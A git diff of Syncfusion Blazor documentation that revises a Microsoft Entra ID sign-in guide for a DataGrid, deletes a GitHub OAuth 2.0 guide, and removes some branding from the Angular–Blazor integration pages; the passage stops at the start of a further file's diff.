@@ -127,13 +127,14 @@ After copying the **Tenant ID** and **Client ID**, update the `appsettings.json`
 {% endhighlight %}
 {% endtabs %}
 
-### Configure Microsoft Entra ID authentication in Blazor
+## Configure Microsoft Entra ID authentication in Blazor
 
-This step enables OpenID Connect authentication in the Blazor application by configuring Microsoft Entra ID settings in the `Program.cs` file.
+This step enables OpenID Connect authentication in the Blazor application by configuring **Microsoft Entra ID** settings in the `Program.cs` file.
 
 {% tabs %}
 {% highlight c# tabtitle="Program.cs" %}
 
+using YourProjectName.Components;
 using Microsoft.Identity.Web;
 using Microsoft.Identity.Web.UI;
 using Microsoft.AspNetCore.Authentication.OpenIdConnect;
@@ -141,7 +142,7 @@ using Syncfusion.Blazor;
 
 var builder = WebApplication.CreateBuilder(args);
 
-// Configure authentication with Microsoft Entra ID (Azure AD)
+// Configure authentication with Microsoft Entra ID (Azure AD).
 builder.Services.AddAuthentication(OpenIdConnectDefaults.AuthenticationScheme)
   .AddMicrosoftIdentityWebApp(builder.Configuration.GetSection("AzureAd"));
 
@@ -150,10 +151,10 @@ builder.Services.AddAuthorization();
 builder.Services.AddRazorComponents()
   .AddInteractiveServerComponents();
 
-// Register the Syncfusion® Blazor service  
+// Register the Blazor service.
 builder.Services.AddSyncfusionBlazor();
 
-// Add controllers with UI endpoints for Microsoft Identity (SignIn/SignOut)
+// Add controllers with UI endpoints for Microsoft Identity (SignIn/SignOut).
 builder.Services.AddControllersWithViews().AddMicrosoftIdentityUI();
 
 var app = builder.Build();
@@ -179,7 +180,7 @@ app.Run();
 {% endhighlight %}
 {% endtabs %}
 
-### Enabling authentication state in Blazor
+## Enabling authentication state in Blazor
 
 This step allows Blazor components to access the current user’s authentication state by configuring the `~/Components/Routes.razor` file.
 
@@ -200,12 +201,12 @@ This step allows Blazor components to access the current user’s authentication
 {% endhighlight %}
 {% endtabs %}
 
-### Connect Syncfusion® Blazor DataGrid
+## Connect Blazor DataGrid
 
-Create a protected page that displays the Syncfusion® **DataGrid** only after the user successfully signs in with **Microsoft Entra ID**.
+Create a protected page that displays the **Blazor DataGrid** only after the user successfully signs in with **Microsoft Entra ID**.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Pages/Home.razor" %}
 
 @page "/"
 @rendermode InteractiveServer
@@ -217,9 +218,9 @@ Create a protected page that displays the Syncfusion® **DataGrid** only after t
 	<NotAuthorized>
 		<div class="text-center mt-5">
 			<h1>Welcome!</h1>
-			<p>
-				Click the Login button below to sign in with Microsoft Entra ID.
-				Once you’re logged in, the Syncfusion Blazor DataGrid will be displayed below.
+			<p>	
+			   Click the Login button below to sign in with Microsoft Entra ID.
+			   Once you’re logged in, the Syncfusion® Blazor DataGrid will be displayed below.
 			</p>
 			<a class="btn btn-primary" href="/MicrosoftIdentity/Account/SignIn">Login with Microsoft</a>
 		</div>
@@ -230,24 +231,25 @@ Create a protected page that displays the Syncfusion® **DataGrid** only after t
 			<a class="btn btn-secondary" href="/MicrosoftIdentity/Account/SignOut">Logout</a>
 		</div>
 
-		<SfGrid DataSource="@Orders" AllowPaging="true" AllowSorting="true">
+		<SfGrid DataSource="@Orders">
 			<GridColumns>
-				<GridColumn Field="@nameof(Order.OrderID)" HeaderText="Order ID" Width="120" IsPrimaryKey="true">
-				</GridColumn>
-				<GridColumn Field="@nameof(Order.CustomerID)" HeaderText="Customer ID" Width="150"></GridColumn>
+				<GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120" />
+				<GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer ID" Width="100" />
+				<GridColumn Field=@nameof(Order.OrderDate) HeaderText="Order Date" Format="d" Type="ColumnType.Date" Width="100" />
+				<GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120" />
 			</GridColumns>
 		</SfGrid>
 
-		@code {
-			public List<Order> Orders { get; set; } = new List<Order>();
+		@code{
+			public List<Order> Orders { get; set; }
 
 			protected override void OnInitialized()
 			{
-				var customerIds = new[] { "ALFKI", "ANANTR", "ANTON", "BLONP", "BOLID" };
-				Orders = Enumerable.Range(1, 5).Select(x => new Order
-				{
-					OrderID = x,
-					CustomerID = customerIds[Random.Shared.Next(5)]
+				Orders = Enumerable.Range(1, 12).Select(i => new Order {
+					OrderID = 1000 + i,
+					CustomerID = new[] { "ALFKI","ANATR","ANTON","BLONP","BOLID" }[Random.Shared.Next(5)],
+					OrderDate = DateTime.Today.AddDays(-i),
+					Freight = Math.Round(25 + 15 * Random.Shared.NextDouble(), 2)
 				}).ToList();
 			}
 
@@ -255,6 +257,8 @@ Create a protected page that displays the Syncfusion® **DataGrid** only after t
 			{
 				public int OrderID { get; set; }
 				public string? CustomerID { get; set; }
+				public DateTime OrderDate { get; set; }
+				public double Freight { get; set; }
 			}
 		}
 	</Authorized>
@@ -263,15 +267,31 @@ Create a protected page that displays the Syncfusion® **DataGrid** only after t
 {% endhighlight %}
 {% endtabs %}
 
-This example demonstrates how to integrate Microsoft Entra ID authentication into a Blazor Web App using the Microsoft Identity platform. 
+## Run the application
 
-![Blazor DataGrid with Microsoft Enta ID](images/blazor-datagrid-microsoftentraid.webp)
+Run the application using the following command:
+
+{% tabs %}
+{% highlight bash tabtitle=".NET CLI" %}
+
+dotnet run
+
+{% endhighlight %}
+{% endtabs %}
+
+This example demonstrates how to integrate **Microsoft Entra ID** authentication into a **Blazor Web App** using the Microsoft Identity platform.
+
+![Blazor DataGrid with Microsoft Enta ID login page](images/microsoft-authentication.webp)
 
-The application securely signs users in through Entra ID and manages the authentication lifecycle using OpenID Connect. After successfully signing in, authenticated users can access protected pages and interact with the **Syncfusion® Blazor DataGrid** component. 
+The application securely signs users in through **Microsoft Entra ID** and manages the authentication lifecycle using OpenID Connect. After successfully signing in, authenticated users can access protected pages and interact with the **Blazor DataGrid** component. 
+
+![Blazor DataGrid with Microsoft Enta ID](images/blazor-datagrid-microsoftentraid.webp)
 
 This approach provides a secure, enterprise ready foundation for building modern Blazor applications with controlled access to data and UI components.   
 
 ## See also
 
 - [Secure an ASP.NET Core Blazor WebAssembly Standalone App with Microsoft Accounts](https://learn.microsoft.com/en-us/aspnet/core/blazor/security/webassembly/standalone-with-microsoft-accounts)
-- [Getting started with Syncfusion® Blazor DataGrid in Web App](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-web-app)
\ No newline at end of file
+- [Getting started with Blazor DataGrid in Web App](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-web-app)
+- [Getting started with Microsoft Entra ID](https://www.microsoft.com/en-us/security/business/identity-access/microsoft-entra-id)
+
diff --git a/blazor/common/authentication/blazor-oauth-authentication.md b/blazor/common/authentication/blazor-oauth-authentication.md
deleted file mode 100644
index a2e134ca21..0000000000
--- a/blazor/common/authentication/blazor-oauth-authentication.md
+++ /dev/null
@@ -1,338 +0,0 @@
----
-layout: post
-title: Syncfusion® Blazor DataGrid with GitHub OAuth 2.0
-description: Step-by-step guide to integrate GitHub OAuth 2.0 authentication with Syncfusion® Blazor components in a Blazor Web App.
-platform: Blazor
-control: Common
-documentation: ug
----
-
-# Securing Syncfusion® Blazor DataGrid with GitHub OAuth 2.0
-
-This guide explains how to integrate **OAuth 2.0 authentication** into a **Blazor Web App (Interactive Server)** using **GitHub OAuth**. Once authenticated, the user can access protected pages featuring the **[Syncfusion® Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** component.
-
-## What is OAuth 2.0?
-
-OAuth 2.0 is an authorization framework that enables applications to obtain limited access to user accounts on an HTTP service (such as **GitHub**, **Google**, and **Microsoft**). It uses tokens instead of credentials and is widely used for secure authentication in modern applications.
-
-**Benefits of using OAuth in Blazor applications**
-
-OAuth enables secure user authentication by allowing sign‑in through trusted external providers. It removes the need to store username and password in the application, reducing security risks. OAuth uses short lived access tokens to protect APIs and user data. This approach minimizes developer side security responsibilities.
-
-## Implementing OAuth 2.0 Authentication for Syncfusion® Blazor DataGrid
-
-This section explains how to secure the Syncfusion® Blazor DataGrid using OAuth 2.0 authentication in a Blazor Web App. It demonstrates integrating GitHub as an OAuth provider to authenticate users, restrict access to protected pages, and render the DataGrid only for authorized users.
-
-### Create a Blazor project
-
-If you already have a Blazor project configured, you can skip this section and proceed to **Install required packages**.
-
-Otherwise, create a new Blazor application by following the Syncfusion getting started guides [Blazor Web App (Interactive Server)](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
-
-Ensure that **HTTPS is enabled** during project creation, as GitHub OAuth based authorization requires secure communication.
-
-### Install required packages
-
-Open the NuGet Package Manager in Visual Studio from (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), and install the required package.
-
-**Syncfusion packages:**
-
-- [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid/)
-- [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
-
-### Add Syncfusion® namespaces
-
-Open the `~/_Imports.razor` file and import the Syncfusion® namespaces.
-
-{% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
-
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Grids
-
-{% endhighlight %}
-{% endtabs %}
-
-### Add stylesheet and script resources
-
-Include the theme stylesheet and script references in the `App.razor` file.
-
-{% tabs %}
-{% highlight html  %}
-
-<head>
-    <!-- Syncfusion theme stylesheet -->
-    <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
-</head>
-
-<body>
-    <!-- Syncfusion Blazor DataGrid component's script reference -->
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</body>
-
-{% endhighlight %}
-{% endtabs %}
-
-### Create a GitHub OAuth application
-
-1. Go to [GitHub Developer Settings](https://github.com/settings/developers).
-2. Click **OAuth Apps → New OAuth App**.
-3. Configure the application:
-    - **Homepage URL:** `https://localhost:5001/` *(Replace `5001` with your application's actual HTTPS port number from `launchSettings.json` if different)*.
-    - **Authorization callback URL:** `https://localhost:5001/signin-github`.
-4. Copy the generated **Client ID** and **Client Secret**.
-5. In your Blazor project, open **appsettings.json** and add the following configuration.
-
-{% tabs %}
-{% highlight json tabtitle="appsettings.json" %}
-
-"Authentication": {
-  "GitHub": {
-    "ClientId": "<your-client-id>",
-    "ClientSecret": "<your-client-secret>"
-  }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-### Configure OAuth 2.0 authentication in Blazor
-
-Add OAuth authentication using GitHub and enable cookie based sign‑in in `Program.cs`.
-
-{% tabs %}
-{% highlight c# tabtitle="Program.cs" %}
-
-using Microsoft.AspNetCore.Authentication.Cookies;
-using Microsoft.AspNetCore.Authentication;
-using Syncfusion.Blazor;
-
-var builder = WebApplication.CreateBuilder(args);
-
-builder.Services.AddRazorComponents()
-  .AddInteractiveServerComponents();
-
-// Register the Syncfusion® Blazor service  
-builder.Services.AddSyncfusionBlazor();
-
-// Configure authentication (Cookies + GitHub OAuth).
-builder.Services.AddAuthentication(options =>
-{
-  options.DefaultScheme = CookieAuthenticationDefaults.AuthenticationScheme;
-  options.DefaultChallengeScheme = "GitHub";
-})
-  .AddCookie()
-  .AddOAuth("GitHub", options =>
-  {
-    options.ClientId = builder.Configuration["Authentication:GitHub:ClientId"] ?? throw new InvalidOperationException("GitHub ClientId is not configured. Set 'Authentication:GitHub:ClientId' in appsettings or user secrets.");
-    options.ClientSecret = builder.Configuration["Authentication:GitHub:ClientSecret"] ?? throw new InvalidOperationException("GitHub ClientSecret is not configured. Set 'Authentication:GitHub:ClientSecret' in appsettings or user secrets.");
-    options.CallbackPath = "/signin-github";
-    options.AuthorizationEndpoint = "https://github.com/login/oauth/authorize";
-    options.TokenEndpoint = "https://github.com/login/oauth/access_token";
-    options.UserInformationEndpoint = "https://api.github.com/user";
-    options.Scope.Add("user:email");
-    options.SaveTokens = true;
-
-    options.ClaimActions.MapJsonKey("urn:github:login", "login");
-    options.ClaimActions.MapJsonKey("urn:github:id", "id");
-    options.ClaimActions.MapJsonKey("urn:github:url", "html_url");
-    options.ClaimActions.MapJsonKey("urn:github:avatar", "avatar_url");
-
-    options.Events = new Microsoft.AspNetCore.Authentication.OAuth.OAuthEvents
-    {
-      OnCreatingTicket = async context =>
-      {
-        // GitHub requires a user-agent header.
-        var request = new HttpRequestMessage(HttpMethod.Get, context.Options.UserInformationEndpoint);
-        request.Headers.Accept.ParseAdd("application/json");
-        request.Headers.UserAgent.ParseAdd("OAuthApp");
-        request.Headers.Authorization = new System.Net.Http.Headers.AuthenticationHeaderValue("Bearer", context.AccessToken);
-
-        var response = await context.Backchannel.SendAsync(request, HttpCompletionOption.ResponseHeadersRead, context.HttpContext.RequestAborted);
-        response.EnsureSuccessStatusCode();
-        using var payload = System.Text.Json.JsonDocument.Parse(await response.Content.ReadAsStringAsync());
-        context.RunClaimActions(payload.RootElement);
-      }
-    };
-  });
-
-builder.Services.AddAuthorization();
-// Add support for API controllers (used to proxy calls to protected APIs).
-builder.Services.AddControllers();
-// Register IHttpClientFactory for outbound HTTP calls
-builder.Services.AddHttpClient();
-
-var app = builder.Build();
-
-// Configure the HTTP request pipeline.
-if (!app.Environment.IsDevelopment())
-{
-  app.UseExceptionHandler("/Error", createScopeForErrors: true);
-  app.UseHsts();
-}
-app.UseHttpsRedirection();
-app.UseRouting();
-app.UseAuthentication();
-app.UseAuthorization();
-app.UseAntiforgery();
-app.MapControllers();
-app.MapStaticAssets();
-app.MapRazorComponents<App>()
-  .AddInteractiveServerRenderMode();
-app.Run();
-
-{% endhighlight %}
-{% endtabs %}
-
-This configuration redirects users to GitHub for authentication, stores the authenticated session in a secure cookie, and retrieves the user's profile information from GitHub after a successful login.
-
-### Implement login and logout endpoints
-
-Create a new folder **Controllers** in the project root, then add `AccountController.cs` with the following code to handle OAuth redirection.
-
-{% tabs %}
-{% highlight c# tabtitle="AccountController.cs"  %}
-
-using Microsoft.AspNetCore.Authentication;
-using Microsoft.AspNetCore.Authentication.Cookies;
-using Microsoft.AspNetCore.Mvc;
-
-namespace OAuth.Controllers
-{
-  [Route("account")]
-  public class AccountController : Controller
-  {
-      [HttpGet("login")]
-      public IActionResult Login(string? returnUrl = "/")
-      {
-          return Challenge( new AuthenticationProperties { RedirectUri = returnUrl }, "GitHub" );
-      }
-
-      [HttpGet("logout")]
-      public async Task<IActionResult> Logout()
-      {
-          await HttpContext.SignOutAsync(CookieAuthenticationDefaults.AuthenticationScheme);
-          return Redirect("/");
-      }
-  }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-### Enabling authentication state in Blazor
-
-To allow components to receive authentication state, wrap the router inside **CascadingAuthenticationState** under `~/Components/Routes.razor` file.
-
-{% tabs %}
-{% highlight razor tabtitle="Routes.razor"  %}
-
-@using Microsoft.AspNetCore.Components.Authorization
-
-<CascadingAuthenticationState>
-    <Router AppAssembly="typeof(Program).Assembly" NotFoundPage="typeof(Pages.NotFound)">
-        <Found Context="routeData">
-            <RouteView RouteData="routeData" DefaultLayout="typeof(Layout.MainLayout)" />
-            <FocusOnNavigate RouteData="routeData" Selector="h1" />
-        </Found>
-    </Router>
-</CascadingAuthenticationState>
-
-{% endhighlight %}
-{% endtabs %}
-
-### Connect Syncfusion® Blazor DataGrid 
-
-Create `SecureGrid.razor` page and render the Syncfusion® Blazor DataGrid on a secured Blazor page using the `[Authorize]` attribute, allowing access only to authenticated users.
-
-{% tabs %}
-{% highlight razor tabtitle="Pages/SecureGrid.razor"  %}
-
-@page "/secure-grid"
-@rendermode InteractiveServer
-@attribute [Microsoft.AspNetCore.Authorization.Authorize]
-
-@using Syncfusion.Blazor.Grids
-@using Microsoft.AspNetCore.Components.Authorization
-
-<PageTitle>Secure Data Grid</PageTitle>
-
-            <SfGrid DataSource="@Orders" AllowPaging="true">
-                <GridColumns>
-                    <GridColumn Field="@nameof(Order.OrderID)" HeaderText="Order ID" Width="120" />
-                    <GridColumn Field="@nameof(Order.CustomerID)" HeaderText="Customer ID" Width="150" />
-                </GridColumns>
-            </SfGrid>
-@code {
-    public List<Order> Orders { get; set; } = new();
-
-    protected override void OnInitialized()
-    {
-        Orders = Enumerable.Range(1, 5).Select(x => new Order()
-        {
-            OrderID = x,
-            CustomerID = (new string[] { "ALFKI", "ANANTR", "ANTON", "BLONP", "BOLID" })[new Random().Next(5)],
-        }).ToList();
-    }
-
-    public class Order
-    {
-        public int? OrderID { get; set; }
-        public string? CustomerID { get; set; }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-### Display content based on authentication status
-
-This section demonstrates how to dynamically render UI content based on the user’s authentication state. The `Home.razor` page uses the `<AuthorizeView>` component to show different content for authenticated and unauthenticated users.
-
-{% tabs %}
-{% highlight razor tabtitle="Pages/Home.razor"  %}
-
-@page "/"
-@using Microsoft.AspNetCore.Components.Authorization
-
-<PageTitle>Home</PageTitle>
-
-<div class="container mt-4">
-    <AuthorizeView>
-        <Authorized>
-
-            <h1>DataGrid</h1>
-
-            <!-- Render DataGrid on the home page when authenticated -->
-            <SecureGrid />
-
-        </Authorized>
-
-        <NotAuthorized>
-
-            <h1>Welcome!</h1>
-
-            <p>
-                Click the Login button below to sign in with GitHub.
-                Once you’re logged in, the Syncfusion Blazor DataGrid will be displayed.
-            </p>
-
-            <a class="btn btn-primary" href="/account/login?returnUrl=/">
-                Login with GitHub
-            </a>
-
-        </NotAuthorized>
-    </AuthorizeView>
-</div>
-
-{% endhighlight %}
-{% endtabs %}
-
-This example demonstrates how to integrate **GitHub OAuth** into a Blazor Web App and authenticate users using secure cookie based sign‑in. After authentication, the user can access protected pages and view the Syncfusion® Blazor **DataGrid**.
-
-![Blazor DataGrid with GitHub OAuth 2.0](images/oauth-authentication.webp)
-
-## See also
-
-- [OAuth 2.0 and OIDC authentication in the Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/v2-protocols)
-- [Getting started with Syncfusion® Blazor DataGrid in Web App](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-web-app)
\ No newline at end of file
diff --git a/blazor/common/authentication/images/aws-cognito.webp b/blazor/common/authentication/images/aws-cognito.webp
deleted file mode 100644
index 830d92a0c9..0000000000
Binary files a/blazor/common/authentication/images/aws-cognito.webp and /dev/null differ
diff --git a/blazor/common/authentication/images/blazor-datagrid-microsoftentraid.webp b/blazor/common/authentication/images/blazor-datagrid-microsoftentraid.webp
index 75f005688f..3fc7e8f0e5 100644
Binary files a/blazor/common/authentication/images/blazor-datagrid-microsoftentraid.webp and b/blazor/common/authentication/images/blazor-datagrid-microsoftentraid.webp differ
diff --git a/blazor/common/authentication/images/jwt-authentication.webp b/blazor/common/authentication/images/jwt-authentication.webp
deleted file mode 100644
index 236a444c17..0000000000
Binary files a/blazor/common/authentication/images/jwt-authentication.webp and /dev/null differ
diff --git a/blazor/common/authentication/images/microsoft-authentication.webp b/blazor/common/authentication/images/microsoft-authentication.webp
new file mode 100644
index 0000000000..fd2995d2ca
Binary files /dev/null and b/blazor/common/authentication/images/microsoft-authentication.webp differ
diff --git a/blazor/common/images/maui-blazor-datagrid.webp b/blazor/common/images/maui-blazor-datagrid.webp
index 65fb2995c3..cd978be721 100644
Binary files a/blazor/common/images/maui-blazor-datagrid.webp and b/blazor/common/images/maui-blazor-datagrid.webp differ
diff --git a/blazor/common/integration/angular-blazor-integration.md b/blazor/common/integration/angular-blazor-integration.md
index 659655e0a0..f0344b8ff1 100644
--- a/blazor/common/integration/angular-blazor-integration.md
+++ b/blazor/common/integration/angular-blazor-integration.md
@@ -1,15 +1,15 @@
 ---
 layout: post
 title: Angular Blazor integration | Syncfusion
-description: Learn how to host Syncfusion Angular components into a Blazor app by packaging them as Angular Custom Elements for seamless UI rendering.
+description: Learn how to host Angular components into a Blazor app by packaging them as Angular Custom Elements for seamless UI rendering.
 platform: Blazor
 control: Common
 documentation: ug
 ---
 
-# Integrating Syncfusion® Angular Components in Blazor
+# Integrating Angular Components in Blazor
 
-This guide explains how to render [Syncfusion® Angular components](https://www.syncfusion.com/angular-components) inside a Blazor application by packaging the Angular component as a **custom element (Web Component)**. Blazor and Angular use different rendering engines, so Angular cannot run directly inside a Blazor page. However, [Angular custom elements](https://angular.dev/guide/elements) allow Angular components to be compiled into standard HTML tags, enabling seamless integration within Blazor.
+This guide explains how to render [Angular components](https://www.syncfusion.com/angular-components) inside a Blazor application by packaging the Angular component as a **custom element (Web Component)**. Blazor and Angular use different rendering engines, so Angular cannot run directly inside a Blazor page. However, [Angular custom elements](https://angular.dev/guide/elements) allow Angular components to be compiled into standard HTML tags, enabling seamless integration within Blazor.
 
 A common use case for this integration is when a Blazor application needs to reuse existing Angular components without migrating them to .NET. By converting Angular components into custom elements, teams can embed rich UI elements such as charts, grids, editors, and schedulers directly within Blazor pages. This is especially useful for enterprise applications in **ERP**, **logistics**, **health-care**, and **analytics platforms**.
 
@@ -23,7 +23,7 @@ A common use case for this integration is when a Blazor application needs to reu
 
 ### Create the project
 
-If you already have an Angular project, move to the **Install custom elements package** section. Otherwise, create a new Angular project following Syncfusion documentation.
+If you already have an Angular project, move to the **Install custom elements package** section. Otherwise, create a new Angular project following documentation.
 
 [Angular Getting Started](https://ej2.syncfusion.com/angular/documentation/getting-started/angular-standalone)
 
@@ -62,11 +62,9 @@ The following CSS styles are available in the `../node_modules/@syncfusion` fold
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion provides multiple theme variants, allowing selection of the theme that best aligns with the application's UI design. Additional theme options and customization details are available in the [theming documentation](https://ej2.syncfusion.com/angular/documentation/appearance/overview).
+### Add DataGrid component
 
-### Add Syncfusion<sup style="font-size:70%">&reg;</sup> component
-
-Update your `src/app/app.ts` file to incorporate the Syncfusion DataGrid component: 
+Update your `src/app/app.ts` file to incorporate the [Angular DataGrid](https://www.syncfusion.com/angular-components/angular-data-grid) component.  
 
 {% tabs %}
 {% highlight ts tabtitle="app.ts" %}
@@ -133,7 +131,7 @@ import { createCustomElement } from '@angular/elements';
 {% endhighlight %}
 {% endtabs %}
 
-**Build the Angular application:**
+**Build the Angular application**
 
 The Angular production build generates JavaScript and CSS files that represent the Web Component.
 
@@ -151,7 +149,7 @@ ng build --configuration production --output-hashing=none
 
 If you already have a Blazor project, move to the next step. Otherwise, create one using the following command. 
 
-**Blazor WebAssembly:**
+**Blazor WebAssembly**
 
 {% tabs %}
 {% highlight bash tabtitle=".NET CLI" %}
@@ -161,7 +159,7 @@ dotnet new blazorwasm -o BlazorHost
 {% endhighlight %}
 {% endtabs %}
 
-**Blazor Server:**
+**Blazor Server**
 
 {% tabs %}
 {% highlight bash tabtitle=".NET CLI" %}
@@ -211,7 +209,7 @@ N> Replace **syncfusion-angular-app** in both `<AngularProject>` and `<AngularDi
 
  The generated Angular files (`main.js` and `styles.css`) are referenced inside the Blazor host page. This is required for the Web Component to initialize and render correctly inside the Blazor layout. 
 
-Include the stylesheet in the `<head>` and the script at the end of the `<body>` in the `App.razor` file as shown below:
+Include the stylesheet in the `<head>` and the script at the end of the `<body>` in the `App.razor` file as shown below.
 
 {% tabs %}
 {% highlight html tabtitle="App.razor" %}
@@ -252,7 +250,7 @@ dotnet run
 {% endhighlight %}
 {% endtabs %}
 
-Once the compilation is complete, open your browser and navigate to the hosted link to view your application with the integrated Syncfusion® DataGrid component:
+Once the compilation is complete, open your browser and navigate to the hosted link to view your application with the integrated [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) component.
 
 ![Blazor DataGrid Component](../images/angular-blazor-integration.webp)
 
@@ -264,6 +262,6 @@ If the Angular build fails due to the bundle size exceeding the configured budge
 
 ## See also
 
-* [Getting started with Syncfusion Blazor DataGrid](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-web-app)
-* [Getting started with Syncfusion Angular DataGrid](https://ej2.syncfusion.com/angular/documentation/grid/getting-started)
+* [Getting started with Blazor DataGrid](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-web-app)
+* [Getting started with Angular DataGrid](https://ej2.syncfusion.com/angular/documentation/grid/getting-started)
 
diff --git a/blazor/common/integration/blazor-angular-integration.md b/blazor/common/integration/blazor-angular-integration.md
index a95e69ae7c..48edd34396 100644
--- a/blazor/common/integration/blazor-angular-integration.md
+++ b/blazor/common/integration/blazor-angular-integration.md
@@ -1,19 +1,19 @@
 ---
 layout: post
 title: Blazor Angular integration | Syncfusion
-description: Learn how to integrate Syncfusion Blazor components into an Angular application using Blazor Custom Elements for seamless UI rendering.
+description: Learn how to integrate Blazor components into an Angular application using Blazor Custom Elements for seamless UI rendering.
 platform: Blazor
 control: Common
 documentation: ug
 ---
 
-# Integrating Syncfusion® Blazor Components in Angular
+# Integrating Blazor Components in Angular
 
-This guide demonstrates how to use [Syncfusion® Blazor components](https://www.syncfusion.com/blazor-components) inside an **Angular application**.
+This guide demonstrates how to use [Blazor components](https://www.syncfusion.com/blazor-components) inside an **Angular application**.
 
 Blazor and Angular are two different web technologies. Blazor uses .NET and Razor components, while Angular uses TypeScript and HTML. Normally, these frameworks cannot share UI components. However, [Blazor custom elements](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/js-spa-frameworks?view=aspnetcore-10.0#blazor-custom-elements) make this possible. A custom element turns a Blazor component into a standard HTML tag that Angular can recognize and render.
 
-A common use case for this integration is when an existing Angular application needs advanced UI features such as rich grids, charts, or schedulers without rewriting the project in Blazor. By exposing Syncfusion Blazor components as custom elements, teams can seamlessly add powerful .NET-based controls into Angular pages. This is especially helpful in **enterprise dashboards**, **order management**, **analytics**, and **admin portals** where capabilities like sorting, filtering, exporting, and high-performance data handling are required, all while keeping the Angular app intact.
+A common use case for this integration is when an existing Angular application needs advanced UI features such as rich grids, charts, or schedulers without rewriting the project in Blazor. By exposing Blazor components as custom elements, teams can seamlessly add powerful .NET-based controls into Angular pages. This is especially helpful in **enterprise dashboards**, **order management**, **analytics**, and **admin portals** where capabilities like sorting, filtering, exporting, and high-performance data handling are required, all while keeping the Angular app intact.
 
 ## Prerequisites
 
@@ -25,7 +25,7 @@ A common use case for this integration is when an existing Angular application n
 
 ### Create the project
 
-If you already have a Blazor project, proceed to the package installation section. Otherwise, create one using [Syncfusion Blazor getting started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) guides.
+If you already have a Blazor project, proceed to the package installation section. Otherwise, create one using [Blazor getting started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) guides.
 
 ### Install custom elements packages
 
@@ -40,9 +40,9 @@ dotnet add package Microsoft.AspNetCore.Components.CustomElements
 {% endhighlight %}
 {% endtabs %}
 
-### Add Syncfusion<sup style="font-size:70%">&reg;</sup> component
+### Add Blazor DataGrid component
 
-Create a `.razor` file to incorporate the Syncfusion DataGrid component:
+Create a `.razor` file to incorporate the [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) component.
 
 In this example, the file name used is `OrdersGrid.razor`.
 
@@ -91,7 +91,7 @@ In this example, the file name used is `OrdersGrid.razor`.
 
 To use your Razor component inside an Angular application, you must register it as a **Blazor custom element**. This registration exposes your `.razor` file as a standard HTML tag.
 
-Any Razor component that you want to use in Angular must be registered inside the `Program.cs` file. Add the following line:
+Any Razor component that you want to use in Angular must be registered inside the `Program.cs` file. Add the following line.
 
 {% tabs %}
 {% highlight c# tabtitle="Program.cs" %}
@@ -162,9 +162,9 @@ Then update the start script in `package.json`.
 {% endhighlight %}
 {% endtabs %}
 
-### Load Blazor runtime and Syncfusion<sup style="font-size:70%">&reg;</sup> theme/scripts
+### Load Blazor runtime and theme/scripts
 
-The Blazor runtime and Syncfusion scripts/themes are required to load Syncfusion Blazor components inside Angular. Add the following to your Angular project’s `index.html` file.
+The Blazor runtime and scripts/themes are required to load Blazor components inside Angular. Add the following to your Angular project’s `index.html` file.
 
 
 {% tabs %}
@@ -176,9 +176,7 @@ The Blazor runtime and Syncfusion scripts/themes are required to load Syncfusion
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion provides multiple theme variants, allowing selection of the theme that best aligns with the application's UI design. Additional theme options and customization details are available in the [theming documentation](https://blazor.syncfusion.com/documentation/appearance/themes).
-
-WebAssembly script reference file:
+WebAssembly script reference file.
 
 {% tabs %}
 {% highlight html tabtitle="index.html" %}
@@ -217,7 +215,7 @@ You can run both apps separately or together.
 
 ### Option 1: Run separately 
 
-Blazor host:
+Blazor host
 
 {% tabs %}
 {% highlight bash tabtitle=".NET CLI" %}
@@ -228,7 +226,7 @@ dotnet run
 {% endtabs %}
 
 
-Angular app:
+Angular app
 
 {% tabs %}
 {% highlight bash tabtitle="Angular CLI" %}
@@ -276,11 +274,11 @@ Then, run both with one command:
 {% endhighlight %}
 {% endtabs %}
 
-Once the compilation completes, open your browser and navigate to `http://localhost:4200/` to see your application with the integrated Syncfusion DataGrid component: 
+Once the compilation completes, open your browser and navigate to `http://localhost:4200/` to see your application with the integrated [DataGrid](https://www.syncfusion.com/angular-components/angular-data-grid) component.  
 
 ![Blazor DataGrid Component](../images/blazor-angular-integration.webp)
 
 ## See also
 
-* [Getting started with Syncfusion Blazor DataGrid](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-web-app)
-* [Getting started with Syncfusion Angular DataGrid](https://ej2.syncfusion.com/angular/documentation/grid/getting-started)
+* [Getting started with Blazor DataGrid](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-web-app)
+* [Getting started with Angular DataGrid](https://ej2.syncfusion.com/angular/documentation/grid/getting-started)
diff --git a/blazor/common/integration/blazor-azure-functions.md b/blazor/common/integration/blazor-azure-functions.md
index 5ce9fc56f6..1ef8fd18fc 100644
--- a/blazor/common/integration/blazor-azure-functions.md
